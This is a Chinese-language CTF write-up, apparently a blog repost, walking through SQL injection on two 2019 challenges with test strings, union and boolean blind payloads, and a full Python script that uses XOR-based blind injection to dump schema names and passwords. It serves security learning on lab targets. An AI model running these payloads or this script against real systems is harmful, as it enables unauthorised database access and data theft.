漏洞重溫之sql注入(FUZZ)


漏洞重溫之sql注入(FUZZ)

[強網杯 2019]隨便注

首先,根據頁面,發現頁面上有一個搜索框,並且url里面沒有id等參數控制頁面,粗略猜測該位置的注入類型是POST型。

post型注入一般使用抓包工具進行注入。

根據數據包,發現之前判斷有誤。但是在url里在查詢操作之后多了一個可操作參數。使用測試語句來判斷閉合。

1' and 1=1 -- 
1' and 1=2 -- 

確認了閉合之后,使用order by判斷注入。

1' order by 2 -- 

確定了顯示的位置之后,使用聯合查詢進行注入。

1' and 1=2 union select 1,2 -- 

發現,可以使用的函數大部分都被過濾了。所以這里我們直接使用盲注進行。因為之前在測試語句的時候,我們可以發現1=1和1=2返回的結果不同,所以代表我們可以使用布爾型盲注。

1' and length((database()))>1 -- 
1' and length((database()))>10 -- 

然后只需要按照盲注的方式逐步進行即可。

[極客大挑戰 2019]FinalSQL

首先,看到這個頁面,有登錄框,那就必須要嘗試一下萬能密碼。

看來,對方在萬能密碼上做了足夠多的防護。

然后,我們還可以看到,在頁面的位置,還存在幾個可以點擊的選項,嘗試點擊一下。

可以看到,雖然沒有任何的顯示,但是在url的位置上,多出了一截,信息大概是?id=1。在url上有了參數之后,因為在頁面上並沒有回顯位置。

所以我們可以嘗試的,也就只有報錯注入和盲注了。

這里,因為我們並沒有看到回顯的位置,所以暫時先嘗試了盲注。

決定使用盲注之后,就要嘗試尋找注入點,這里可以使用bp自帶的字典。

發現‘^’沒有被過濾之后,那么直接寫腳本進行盲注。

當然,我是不太會自己寫,所以上網找了大佬寫的盲注腳本。

import re
import requests
import string

url = "http://56c946f5-9ecf-4a67-88da-81a5393ac53e.node3.buuoj.cn/search.php"
flag = ''


def payload(i, j):
    # 數據庫名字
    # sql = "1^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1"%(i,j)
    # 表名
    # sql = "1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>%d)^1"%(i,j)
    # 列名
    # sql = "1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1"%(i,j)
    # 查詢flag
    sql = "1^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" % (i, j)
    data = {"id": sql}
    r = requests.get(url, params=data)
    # print (r.url)
    if "Click" in r.text:
        res = 1
    else:
        res = 0
    return res


def exp():
    global flag
    for i in range(1, 10000):
        print(i, ':')
        low = 31
        high = 127
        while low <= high:
            mid = (low + high) // 2
            res = payload(i, mid)
            if res:
                low = mid + 1
            else:
                high = mid - 1
        f = int((low + high + 1)) // 2
        if (f == 127 or f == 31):
            break
        # print (f)
        flag += chr(f)
        print(flag)


exp()
print('flag=', flag)

使用第一行爆數據庫名的代碼,得到結果如下,猜測保存flag的數據庫為geek。

接下來,挨個使用爆表名,爆字段,爆數據等信息。

最后得到flag如下:

flag{90727511-6b73-45fd-b93d-1e7943d8fb62}

挑戰完成。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM